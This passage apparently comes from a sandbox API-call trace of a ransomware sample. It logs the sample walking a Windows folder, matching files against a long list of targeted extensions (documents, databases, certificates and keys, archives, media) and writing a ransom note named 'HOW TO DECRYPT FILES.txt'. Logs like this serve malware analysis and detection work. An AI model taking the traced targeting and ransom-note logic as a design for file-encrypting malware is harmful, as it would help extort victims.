(lpString="*.docx") returned 6 [0058.546] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.7z") returned 0 [0058.546] lstrlenA (lpString="*.7z") returned 4 [0058.546] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.tar") returned 0 [0058.546] lstrlenA (lpString="*.tar") returned 5 [0058.546] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.bz2") returned 0 [0058.546] lstrlenA (lpString="*.bz2") returned 5 [0058.546] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.gz") returned 0 [0058.546] lstrlenA (lpString="*.gz") returned 4 [0058.547] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.mkv") returned 0 [0058.547] lstrlenA (lpString="*.mkv") returned 5 [0058.547] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.eml") returned 0 [0058.547] lstrlenA (lpString="*.eml") returned 5 [0058.547] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.msg") returned 0 [0058.547] lstrlenA (lpString="*.msg") returned 5 [0058.547] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.edb") returned 0 [0058.547] lstrlenA (lpString="*.edb") returned 5 [0058.547] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.accdb") returned 0 [0058.547] lstrlenA (lpString="*.accdb") returned 7 [0058.547] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.odb") returned 0 [0058.547] lstrlenA (lpString="*.odb") returned 5 [0058.547] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.java") returned 0 [0058.547] lstrlenA (lpString="*.java") returned 6 [0058.547] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.asm") returned 0 [0058.547] lstrlenA (lpString="*.asm") returned 5 [0058.547] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.pfx") returned 0 [0058.547] lstrlenA (lpString="*.pfx") returned 5 [0058.548] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.pem") returned 0 [0058.548] lstrlenA (lpString="*.pem") returned 5 [0058.548] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.p12") returned 0 [0058.548] lstrlenA (lpString="*.p12") returned 5 [0058.548] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.gpg") returned 0 [0058.548] lstrlenA (lpString="*.gpg") returned 5 [0058.548] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.vsd") returned 0 [0058.548] lstrlenA (lpString="*.vsd") returned 5 [0058.548] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.odg") returned 0 [0058.548] lstrlenA (lpString="*.odg") returned 5 [0058.548] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.raw") returned 0 [0058.548] lstrlenA (lpString="*.raw") returned 5 [0058.548] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.nef") returned 0 [0058.548] lstrlenA (lpString="*.nef") returned 5 [0058.548] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.svg") returned 0 [0058.548] lstrlenA (lpString="*.svg") returned 5 [0058.548] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.psd") returned 0 [0058.548] lstrlenA (lpString="*.psd") returned 5 [0058.548] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.vmx") returned 0 [0058.549] lstrlenA (lpString="*.vmx") returned 5 [0058.549] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.vmdk") returned 0 [0058.549] lstrlenA (lpString="*.vmdk") returned 6 [0058.549] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.vdi") returned 0 [0058.549] lstrlenA (lpString="*.vdi") returned 5 [0058.549] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.lay6") returned 0 [0058.549] lstrlenA (lpString="*.lay6") returned 6 [0058.549] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.mpeg") returned 0 [0058.549] lstrlenA (lpString="*.mpeg") returned 6 [0058.549] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.djvu") returned 0 [0058.549] lstrlenA (lpString="*.djvu") returned 6 [0058.549] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.tiff") returned 0 [0058.549] lstrlenA (lpString="*.tiff") returned 6 [0058.549] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.backup") returned 0 [0058.549] lstrlenA (lpString="*.backup") returned 8 [0058.549] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.pdf") returned 0 [0058.549] lstrlenA (lpString="*.pdf") returned 5 [0058.549] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.cert") returned 0 [0058.549] lstrlenA (lpString="*.cert") returned 6 [0058.549] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.docm") returned 0 [0058.550] lstrlenA (lpString="*.docm") returned 6 [0058.550] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.xlsm") returned 0 [0058.550] lstrlenA (lpString="*.xlsm") returned 6 [0058.550] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.dwg") returned 0 [0058.550] lstrlenA (lpString="*.dwg") returned 5 [0058.550] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.nd") returned 0 [0058.550] lstrlenA (lpString="*.nd") returned 4 [0058.550] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.tlg") returned 0 [0058.550] lstrlenA (lpString="*.tlg") returned 5 [0058.550] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.lgb") returned 0 [0058.550] lstrlenA (lpString="*.lgb") returned 5 [0058.550] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.mov") returned 0 [0058.550] lstrlenA (lpString="*.mov") returned 5 [0058.550] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.xdw") returned 0 [0058.550] lstrlenA (lpString="*.xdw") returned 5 [0058.550] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.ods") returned 0 [0058.550] lstrlenA (lpString="*.ods") returned 5 [0058.550] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.wav") returned 0 [0058.551] lstrlenA (lpString="*.wav") returned 5 [0058.551] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.mp3") returned 0 [0058.551] lstrlenA (lpString="*.mp3") returned 5 [0058.551] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.aiff") returned 0 [0058.551] lstrlenA (lpString="*.aiff") returned 6 [0058.551] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.flac") returned 0 [0058.551] lstrlenA (lpString="*.flac") returned 6 [0058.551] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.m4a") returned 0 [0058.551] lstrlenA (lpString="*.m4a") returned 5 [0058.551] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.csv") returned 0 [0058.551] lstrlenA (lpString="*.csv") returned 5 [0058.551] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x740078, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0058.551] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.551] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="STINTL.DLL.IDX_DLL") returned -1 [0058.551] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="STINTL.DLL.IDX_DLL") returned -1 [0058.551] lstrcmpiA (lpString1="", lpString2="STINTL.DLL.IDX_DLL") returned -1 [0058.551] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned="STINTL.DLL" [0058.551] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\" [0058.551] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\") returned="" [0058.552] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\HOW TO DECRYPT FILES.txt" [0058.552] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\how to decrypt files.txt")) returned 0x20 [0058.552] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", lpString2="STINTL.DLL.IDX_DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" [0058.552] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.ems") returned 0 [0058.552] lstrlenA (lpString="*.ems") returned 5 [0058.552] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.db") returned 0 [0058.552] lstrlenA (lpString="*.db") returned 4 [0058.552] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.dbf") returned 0 [0058.552] lstrlenA (lpString="*.dbf") returned 5 [0058.552] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.myox") returned 0 [0058.552] lstrlenA (lpString="*.myox") returned 6 [0058.552] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.myo") returned 0 [0058.552] lstrlenA (lpString="*.myo") returned 5 [0058.552] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.qbw") returned 0 [0058.552] lstrlenA (lpString="*.qbw") returned 5 [0058.552] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.qbb") returned 0 [0058.553] lstrlenA (lpString="*.qbb") returned 5 [0058.553] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.qbm") returned 0 [0058.553] lstrlenA (lpString="*.qbm") returned 5 [0058.553] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.qbo") returned 0 [0058.553] lstrlenA (lpString="*.qbo") returned 5 [0058.553] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.qbx") returned 0 [0058.553] lstrlenA (lpString="*.qbx") returned 5 [0058.553] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.qba") returned 0 [0058.553] lstrlenA (lpString="*.qba") returned 5 [0058.553] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.qby") returned 0 [0058.553] lstrlenA (lpString="*.qby") returned 5 [0058.553] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.qbj") returned 0 [0058.553] lstrlenA (lpString="*.qbj") returned 5 [0058.553] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.ofx") returned 0 [0058.553] lstrlenA (lpString="*.ofx") returned 5 [0058.553] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.qif") returned 0 [0058.553] lstrlenA (lpString="*.qif") returned 5 [0058.553] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.mye") returned 0 [0058.553] lstrlenA (lpString="*.mye") returned 5 [0058.553] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.mbox") returned 0 [0058.554] lstrlenA (lpString="*.mbox") returned 6 [0058.554] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.eml") returned 0 [0058.554] lstrlenA (lpString="*.eml") returned 5 [0058.554] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.pst") returned 0 [0058.554] lstrlenA (lpString="*.pst") returned 5 [0058.554] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.ost") returned 0 [0058.554] lstrlenA (lpString="*.ost") returned 5 [0058.554] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.idx") returned 0 [0058.554] lstrlenA (lpString="*.idx") returned 5 [0058.554] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.dbx") returned 0 [0058.554] lstrlenA (lpString="*.dbx") returned 5 [0058.554] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.sql") returned 0 [0058.554] lstrlenA (lpString="*.sql") returned 5 [0058.554] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.mdb") returned 0 [0058.554] lstrlenA (lpString="*.mdb") returned 5 [0058.554] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.fdb") returned 0 [0058.554] lstrlenA (lpString="*.fdb") returned 5 [0058.554] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.wab") returned 0 [0058.554] lstrlenA (lpString="*.wab") returned 5 [0058.555] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.dat") returned 0 [0058.555] lstrlenA (lpString="*.dat") returned 5 [0058.555] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.txt") returned 0 [0058.555] lstrlenA (lpString="*.txt") returned 5 [0058.555] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.jpeg") returned 0 [0058.555] lstrlenA (lpString="*.jpeg") returned 6 [0058.555] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.jpg") returned 0 [0058.555] lstrlenA (lpString="*.jpg") returned 5 [0058.555] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.png") returned 0 [0058.555] lstrlenA (lpString="*.png") returned 5 [0058.555] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.php") returned 0 [0058.555] lstrlenA (lpString="*.php") returned 5 [0058.555] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.cs") returned 0 [0058.555] lstrlenA (lpString="*.cs") returned 4 [0058.555] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.cpp") returned 0 [0058.555] lstrlenA (lpString="*.cpp") returned 5 [0058.555] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.rar") returned 0 [0058.555] lstrlenA (lpString="*.rar") returned 5 [0058.555] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.zip") returned 0 [0058.555] lstrlenA (lpString="*.zip") returned 5 [0058.555] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.html") returned 0 [0058.555] lstrlenA (lpString="*.html") returned 6 [0058.555] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.htm") returned 0 [0058.556] lstrlenA (lpString="*.htm") returned 5 [0058.556] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.xlsx") returned 0 [0058.556] lstrlenA (lpString="*.xlsx") returned 6 [0058.556] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.xls") returned 0 [0058.556] lstrlenA (lpString="*.xls") returned 5 [0058.556] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.mp4") returned 0 [0058.556] lstrlenA (lpString="*.mp4") returned 5 [0058.556] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.ppt") returned 0 [0058.556] lstrlenA (lpString="*.ppt") returned 5 [0058.556] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.pptx") returned 0 [0058.556] lstrlenA (lpString="*.pptx") returned 6 [0058.556] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.doc") returned 0 [0058.556] lstrlenA (lpString="*.doc") returned 5 [0058.556] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.dot") returned 0 [0058.556] lstrlenA (lpString="*.dot") returned 5 [0058.556] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.docx") returned 0 [0058.556] lstrlenA (lpString="*.docx") returned 6 [0058.556] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.7z") returned 0 [0058.556] lstrlenA (lpString="*.7z") returned 4 [0058.556] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.tar") returned 0 [0058.557] lstrlenA (lpString="*.tar") returned 5 [0058.557] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.bz2") returned 0 [0058.557] lstrlenA (lpString="*.bz2") returned 5 [0058.557] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.gz") returned 0 [0058.557] lstrlenA (lpString="*.gz") returned 4 [0058.557] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.mkv") returned 0 [0058.557] lstrlenA (lpString="*.mkv") returned 5 [0058.557] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.eml") returned 0 [0058.557] lstrlenA (lpString="*.eml") returned 5 [0058.557] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.msg") returned 0 [0058.557] lstrlenA (lpString="*.msg") returned 5 [0058.557] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.edb") returned 0 [0058.557] lstrlenA (lpString="*.edb") returned 5 [0058.557] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.accdb") returned 0 [0058.557] lstrlenA (lpString="*.accdb") returned 7 [0058.557] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.odb") returned 0 [0058.557] lstrlenA (lpString="*.odb") returned 5 [0058.557] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.java") returned 0 [0058.557] lstrlenA (lpString="*.java") returned 6 [0058.557] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.asm") returned 0 [0058.557] lstrlenA (lpString="*.asm") returned 5 [0058.557] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.pfx") returned 0 [0058.557] lstrlenA (lpString="*.pfx") returned 5 [0058.557] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.pem") returned 0 [0058.558] lstrlenA (lpString="*.pem") returned 5 [0058.558] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.p12") returned 0 [0058.558] lstrlenA (lpString="*.p12") returned 5 [0058.558] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.gpg") returned 0 [0058.558] lstrlenA (lpString="*.gpg") returned 5 [0058.558] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.vsd") returned 0 [0058.558] lstrlenA (lpString="*.vsd") returned 5 [0058.558] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.odg") returned 0 [0058.558] lstrlenA (lpString="*.odg") returned 5 [0058.558] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.raw") returned 0 [0058.558] lstrlenA (lpString="*.raw") returned 5 [0058.558] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.nef") returned 0 [0058.558] lstrlenA (lpString="*.nef") returned 5 [0058.558] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.svg") returned 0 [0058.558] lstrlenA (lpString="*.svg") returned 5 [0058.558] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", pszSpec="*.psd") returned 0 [0058.558] lstrlenA (lpString="*.psd") returned 5 [0058.558] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart 